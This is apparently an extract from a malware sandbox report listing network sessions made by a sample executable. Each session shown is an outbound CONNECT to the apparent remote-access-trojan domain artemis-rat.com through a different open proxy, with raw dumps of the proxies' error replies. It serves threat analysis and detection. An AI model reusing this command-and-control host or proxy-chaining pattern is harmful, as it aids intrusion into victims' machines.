Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.5	51036	163.172.147.9	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.184257984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.139297962 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.5	50994	182.106.220.252	9091	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.184359074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.529982090 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.5	51042	60.246.122.244	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.184803963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.491148949 CET	172	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.2.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.5	51203	104.21.64.208	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.184987068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.339567900 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.5	51220	172.67.53.215	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.187443018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.342299938 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.5	51241	172.67.182.83	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.189786911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.344103098 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.5	51004	79.119.155.63	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.190836906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.5	51051	91.189.177.189	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.201565981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.529459953 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3628 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.5	51279	172.67.69.9	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.205559015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.359790087 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.5	51235	146.190.35.11	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.205818892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.5	51075	128.140.26.12	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.218305111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.532059908 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.2 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.5	51478	43.153.174.106	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.222276926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.5	51041	91.202.230.219	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.222285032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.5	51481	43.153.174.106	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.223495007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.5	51487	43.153.174.106	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.225435972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.5	51141	184.181.217.194	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.225491047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.5	51210	172.93.111.235	44374	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.228209019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.748593092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.404886961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.811286926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.446439028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.083571911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.811362028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.201989889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.5	51228	198.12.255.193	6821	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.228336096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.748598099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.389261961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.702048063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.405239105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.092979908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.5	51045	194.53.158.57	53281	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.229993105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.951729059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
